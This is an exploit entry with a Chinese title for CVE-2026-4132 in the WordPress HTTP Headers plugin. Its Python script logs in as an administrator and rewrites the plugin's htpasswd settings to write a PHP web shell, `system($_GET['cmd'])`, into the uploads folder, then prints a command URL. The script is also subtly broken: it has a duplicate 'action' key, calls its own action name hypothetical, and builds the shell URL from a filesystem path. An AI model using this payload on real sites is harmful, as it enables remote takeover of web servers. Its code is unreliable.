CVE-2026-4132 WordPress HTTP Headers插件远程代码执行漏洞

# Exploit Title: WordPress HTTP Headers Plugin < 1.19.3 - RCE via Auth Settings # Date: 2026-04-22 # Exploit Author: Analyst # Vendor Homepage: https://wordpress.org/plugins/http-headers/ # Software Link: https://downloads.wordpress.org/plugin/http-headers.1.19.2.zip # Version: <= 1.19.2 # Tested on: WordPress 6.x import requests # Configuration target = 'http://example.com' wp_admin = 'admin' wp_pass = 'password' # Login to get session cookie session = requests.Session() login_data = { 'log': wp_admin, 'pwd': wp_pass, 'redirect_to': target + '/wp-admin/', 'wp-submit': 'Log In' } session.post(target + '/wp-login.php', data=login_data) # Prepare malicious payload # The vulnerability allows setting the path and injecting code into the username payload_path = '/var/www/html/wp-content/uploads/shell.php' malicious_user = '<?php system($_GET["cmd"]); ?>' # Update plugin settings (Action might vary, usually via admin-ajax.php or admin-post.php) # Based on the description, we update the options controlling htpasswd path and user exploit_data = { 'action': 'http_headers_save_options', # Hypothetical action name 'hh_htpasswd_path': payload_path, 'hh_www_authenticate_user': malicious_user, 'option_page': 'http-headers', 'action': 'update' } headers = {'X-Requested-With': 'XMLHttpRequest'} response = session.post(target + '/wp-admin/admin-ajax.php', data=exploit_data, headers=headers) if response.status_code == 200: print(f"[+] Payload sent. Check your shell at: {target}{payload_path}?cmd=whoami") else: print("[-] Exploit failed.")